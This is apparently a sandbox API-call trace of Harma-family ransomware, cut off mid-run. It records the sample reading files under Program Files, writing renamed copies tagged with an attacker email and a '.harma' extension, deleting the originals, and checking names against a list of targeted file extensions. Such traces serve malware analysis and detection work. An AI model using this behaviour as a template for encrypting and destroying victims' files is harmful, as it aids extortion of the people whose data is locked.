[0063.146] SetEndOfFile (hFile=0x1e4) returned 1 [0063.150] CloseHandle (hObject=0x1e4) returned 1 [0063.150] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0063.151] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vbui6.chm")) returned 1 [0063.151] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0063.151] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0063.151] lstrlenW (lpString=".doc") returned 4 [0063.151] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0063.151] lstrlenW (lpString=".docx") returned 5 [0063.151] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0063.151] lstrlenW (lpString=".pdf") returned 4 [0063.151] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0063.151] lstrlenW (lpString=".xls") returned 4 [0063.151] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0063.151] lstrlenW (lpString=".xlsx") returned 5 [0063.151] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0063.151] lstrlenW (lpString=".ppt") returned 4 [0063.151] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0063.151] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0063.151] lstrlenW (lpString=".zip") returned 4 [0063.151] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0063.151] lstrlenW (lpString=".rar") returned 4 [0063.152] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0063.152] lstrlenW (lpString=".bz2") returned 4 [0063.152] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0063.152] lstrlenW (lpString=".7z") returned 3 [0063.152] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0063.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0063.152] lstrlenW (lpString=".dbf") returned 4 [0063.152] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0063.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0063.152] lstrlenW (lpString=".1cd") returned 4 [0063.152] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0063.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0063.152] lstrlenW (lpString=".jpg") returned 4 [0063.152] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0063.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0063.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0063.152] lstrlenW (lpString=".doc") returned 4 [0063.152] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0063.152] lstrlenW (lpString=".docx") returned 5 [0063.152] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0063.152] lstrlenW (lpString=".pdf") returned 4 [0063.152] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0063.152] lstrlenW (lpString=".xls") returned 4 [0063.152] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0063.152] lstrlenW (lpString=".xlsx") returned 5 [0063.152] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0063.152] lstrlenW (lpString=".ppt") returned 4 [0063.152] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0063.152] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0063.153] lstrlenW (lpString=".zip") returned 4 [0063.153] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0063.153] lstrlenW (lpString=".rar") returned 4 [0063.153] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0063.153] lstrlenW (lpString=".bz2") returned 4 [0063.153] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0063.153] lstrlenW (lpString=".7z") returned 3 [0063.153] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0063.153] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0063.153] lstrlenW (lpString=".dbf") returned 4 [0063.153] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0063.153] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0063.153] lstrlenW (lpString=".1cd") returned 4 [0063.153] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0063.153] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBUI6.CHM") returned 70 [0063.153] lstrlenW (lpString=".jpg") returned 4 [0063.153] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0063.153] lstrcmpiW (lpString1=".MSG", lpString2=".harma") returned 1 [0063.153] lstrlenW (lpString="FPEXT.MSG") returned 9 [0063.153] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0063.154] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=169637) returned 1 [0063.154] CloseHandle (hObject=0x1e4) returned 1 [0063.154] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg")) returned 0x20 [0063.154] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0063.155] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0063.155] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.155] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.155] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0063.155] GetLastError () returned 0x0 [0063.155] ReadFile (in: hFile=0x1e4, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x296a5, lpOverlapped=0x0) returned 1 [0063.160] WriteFile (in: hFile=0x200, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0x296b0, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x296b0, lpOverlapped=0x0) returned 1 [0063.164] ReadFile (in: hFile=0x1e4, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0063.164] WriteFile (in: hFile=0x200, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0063.164] SetEndOfFile (hFile=0x200) returned 1 [0063.164] CloseHandle (hObject=0x200) returned 1 [0063.164] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0063.164] SetEndOfFile (hFile=0x1e4) returned 1 [0063.166] CloseHandle (hObject=0x1e4) returned 1 [0063.166] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0063.166] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG" (normalized: "c:\\program files\\common files\\microsoft shared\\web server extensions\\14\\bin\\1033\\fpext.msg")) returned 1 [0063.167] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0063.167] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0063.167] lstrlenW (lpString=".doc") returned 4 [0063.167] lstrcmpiW (lpString1=".doc", lpString2=".MSG") returned -1 [0063.167] lstrlenW (lpString=".docx") returned 5 [0063.167] lstrcmpiW (lpString1=".docx", lpString2="T.MSG") returned -1 [0063.167] lstrlenW (lpString=".pdf") returned 4 [0063.167] lstrcmpiW (lpString1=".pdf", lpString2=".MSG") returned 1 [0063.167] lstrlenW (lpString=".xls") returned 4 [0063.167] lstrcmpiW (lpString1=".xls", lpString2=".MSG") returned 1 [0063.167] lstrlenW (lpString=".xlsx") returned 5 [0063.167] lstrcmpiW (lpString1=".xlsx", lpString2="T.MSG") returned -1 [0063.167] lstrlenW (lpString=".ppt") returned 4 [0063.167] lstrcmpiW (lpString1=".ppt", lpString2=".MSG") returned 1 [0063.167] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0063.167] lstrlenW (lpString=".zip") returned 4 [0063.167] lstrcmpiW (lpString1=".zip", lpString2=".MSG") returned 1 [0063.167] lstrlenW (lpString=".rar") returned 4 [0063.167] lstrcmpiW (lpString1=".rar", lpString2=".MSG") returned 1 [0063.167] lstrlenW (lpString=".bz2") returned 4 [0063.167] lstrcmpiW (lpString1=".bz2", lpString2=".MSG") returned -1 [0063.167] lstrlenW (lpString=".7z") returned 3 [0063.167] lstrcmpiW (lpString1=".7z", lpString2="MSG") returned -1 [0063.167] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0063.167] lstrlenW (lpString=".dbf") returned 4 [0063.167] lstrcmpiW (lpString1=".dbf", lpString2=".MSG") returned -1 [0063.167] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0063.168] lstrlenW (lpString=".1cd") returned 4 [0063.168] lstrcmpiW (lpString1=".1cd", lpString2=".MSG") returned -1 [0063.168] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0063.168] lstrlenW (lpString=".jpg") returned 4 [0063.168] lstrcmpiW (lpString1=".jpg", lpString2=".MSG") returned -1 [0063.168] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0063.168] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0063.168] lstrlenW (lpString=".doc") returned 4 [0063.168] lstrcmpiW (lpString1=".doc", lpString2=".MSG") returned -1 [0063.168] lstrlenW (lpString=".docx") returned 5 [0063.168] lstrcmpiW (lpString1=".docx", lpString2="T.MSG") returned -1 [0063.168] lstrlenW (lpString=".pdf") returned 4 [0063.168] lstrcmpiW (lpString1=".pdf", lpString2=".MSG") returned 1 [0063.168] lstrlenW (lpString=".xls") returned 4 [0063.168] lstrcmpiW (lpString1=".xls", lpString2=".MSG") returned 1 [0063.168] lstrlenW (lpString=".xlsx") returned 5 [0063.168] lstrcmpiW (lpString1=".xlsx", lpString2="T.MSG") returned -1 [0063.168] lstrlenW (lpString=".ppt") returned 4 [0063.168] lstrcmpiW (lpString1=".ppt", lpString2=".MSG") returned 1 [0063.168] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0063.168] lstrlenW (lpString=".zip") returned 4 [0063.168] lstrcmpiW (lpString1=".zip", lpString2=".MSG") returned 1 [0063.168] lstrlenW (lpString=".rar") returned 4 [0063.168] lstrcmpiW (lpString1=".rar", lpString2=".MSG") returned 1 [0063.168] lstrlenW (lpString=".bz2") returned 4 [0063.168] lstrcmpiW (lpString1=".bz2", lpString2=".MSG") returned -1 [0063.168] lstrlenW (lpString=".7z") returned 3 [0063.168] lstrcmpiW (lpString1=".7z", lpString2="MSG") returned -1 [0063.169] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0063.169] lstrlenW (lpString=".dbf") returned 4 [0063.169] lstrcmpiW (lpString1=".dbf", lpString2=".MSG") returned -1 [0063.169] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0063.169] lstrlenW (lpString=".1cd") returned 4 [0063.169] lstrcmpiW (lpString1=".1cd", lpString2=".MSG") returned -1 [0063.169] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\FPEXT.MSG") returned 90 [0063.169] lstrlenW (lpString=".jpg") returned 4 [0063.169] lstrcmpiW (lpString1=".jpg", lpString2=".MSG") returned -1 [0063.169] lstrcmpiW (lpString1=".bmp", lpString2=".harma") returned -1 [0063.169] lstrlenW (lpString="verisign.bmp") returned 12 [0063.169] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0063.170] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=2702) returned 1 [0063.170] CloseHandle (hObject=0x1e4) returned 1 [0063.171] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp")) returned 0x20 [0063.171] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\services\\verisign.bmp.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0063.171] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.171] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0063.171] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0063.171] lstrlenW (lpString=".doc") returned 4 [0063.171] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0063.171] lstrlenW (lpString=".docx") returned 5 [0063.171] lstrcmpiW (lpString1=".docx", lpString2="n.bmp") returned -1 [0063.171] lstrlenW (lpString=".pdf") returned 4 [0063.171] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0063.171] lstrlenW (lpString=".xls") returned 4 [0063.171] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0063.171] lstrlenW (lpString=".xlsx") returned 5 [0063.171] lstrcmpiW (lpString1=".xlsx", lpString2="n.bmp") returned -1 [0063.171] lstrlenW (lpString=".ppt") returned 4 [0063.171] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0063.171] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0063.171] lstrlenW (lpString=".zip") returned 4 [0063.171] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0063.171] lstrlenW (lpString=".rar") returned 4 [0063.171] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0063.171] lstrlenW (lpString=".bz2") returned 4 [0063.172] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0063.172] lstrlenW (lpString=".7z") returned 3 [0063.172] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0063.172] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0063.172] lstrlenW (lpString=".dbf") returned 4 [0063.172] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0063.172] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0063.172] lstrlenW (lpString=".1cd") returned 4 [0063.172] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0063.172] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0063.172] lstrlenW (lpString=".jpg") returned 4 [0063.172] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0063.172] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0063.172] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0063.172] lstrlenW (lpString=".doc") returned 4 [0063.172] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0063.172] lstrlenW (lpString=".docx") returned 5 [0063.172] lstrcmpiW (lpString1=".docx", lpString2="n.bmp") returned -1 [0063.172] lstrlenW (lpString=".pdf") returned 4 [0063.172] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0063.172] lstrlenW (lpString=".xls") returned 4 [0063.172] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0063.172] lstrlenW (lpString=".xlsx") returned 5 [0063.172] lstrcmpiW (lpString1=".xlsx", lpString2="n.bmp") returned -1 [0063.172] lstrlenW (lpString=".ppt") returned 4 [0063.172] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0063.172] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0063.172] lstrlenW (lpString=".zip") returned 4 [0063.172] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0063.173] lstrlenW (lpString=".rar") returned 4 [0063.173] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0063.173] lstrlenW (lpString=".bz2") returned 4 [0063.173] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0063.173] lstrlenW (lpString=".7z") returned 3 [0063.173] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0063.173] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0063.173] lstrlenW (lpString=".dbf") returned 4 [0063.173] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0063.173] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0063.173] lstrlenW (lpString=".1cd") returned 4 [0063.173] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0063.173] lstrlenW (lpString="C:\\Program Files\\Common Files\\Services\\verisign.bmp") returned 51 [0063.173] lstrlenW (lpString=".jpg") returned 4 [0063.173] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0063.173] lstrcmpiW (lpString1=".inc", lpString2=".harma") returned 1 [0063.173] lstrlenW (lpString="adojavas.inc") returned 12 [0063.173] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0063.897] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=14610) returned 1 [0063.897] CloseHandle (hObject=0x208) returned 1 [0063.897] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc")) returned 0x20 [0063.897] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0063.897] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adojavas.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0063.897] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0063.897] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0063.897] lstrlenW (lpString=".doc") returned 4 [0063.898] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0063.898] lstrlenW (lpString=".docx") returned 5 [0063.898] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0063.898] lstrlenW (lpString=".pdf") returned 4 [0063.898] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0063.898] lstrlenW (lpString=".xls") returned 4 [0063.898] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0063.898] lstrlenW (lpString=".xlsx") returned 5 [0063.898] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0063.898] lstrlenW (lpString=".ppt") returned 4 [0063.898] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0063.898] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0063.898] lstrlenW (lpString=".zip") returned 4 [0063.898] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0063.898] lstrlenW (lpString=".rar") returned 4 [0063.898] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0063.898] lstrlenW (lpString=".bz2") returned 4 [0063.898] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0063.898] lstrlenW (lpString=".7z") returned 3 [0063.898] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0063.898] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0063.898] lstrlenW (lpString=".dbf") returned 4 [0063.898] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0063.898] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0063.898] lstrlenW (lpString=".1cd") returned 4 [0063.898] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0063.898] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0063.898] lstrlenW (lpString=".jpg") returned 4 [0063.898] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0063.898] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0063.898] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0063.899] lstrlenW (lpString=".doc") returned 4 [0063.899] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1 [0063.899] lstrlenW (lpString=".docx") returned 5 [0063.899] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1 [0063.899] lstrlenW (lpString=".pdf") returned 4 [0063.899] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1 [0063.899] lstrlenW (lpString=".xls") returned 4 [0063.899] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1 [0063.899] lstrlenW (lpString=".xlsx") returned 5 [0063.899] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1 [0063.899] lstrlenW (lpString=".ppt") returned 4 [0063.899] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1 [0063.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0063.899] lstrlenW (lpString=".zip") returned 4 [0063.899] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1 [0063.899] lstrlenW (lpString=".rar") returned 4 [0063.899] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1 [0063.899] lstrlenW (lpString=".bz2") returned 4 [0063.899] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1 [0063.899] lstrlenW (lpString=".7z") returned 3 [0063.899] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1 [0063.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0063.899] lstrlenW (lpString=".dbf") returned 4 [0063.899] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1 [0063.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0063.899] lstrlenW (lpString=".1cd") returned 4 [0063.899] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1 [0063.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\ado\\adojavas.inc") returned 53 [0063.899] lstrlenW (lpString=".jpg") returned 4 [0063.899] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1 [0063.900] lstrcmpiW (lpString1=".inc", lpString2=".harma") returned 1 [0063.900] lstrlenW (lpString="adovbs.inc") returned 10 [0063.900] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0063.900] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=14951) returned 1 [0063.900] CloseHandle (hObject=0x208) returned 1 [0063.900] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc")) returned 0x20 [0063.900] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0063.900] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\ado\\adovbs.inc" (normalized: "c:\\program files\\common files\\system\\ado\\adovbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff 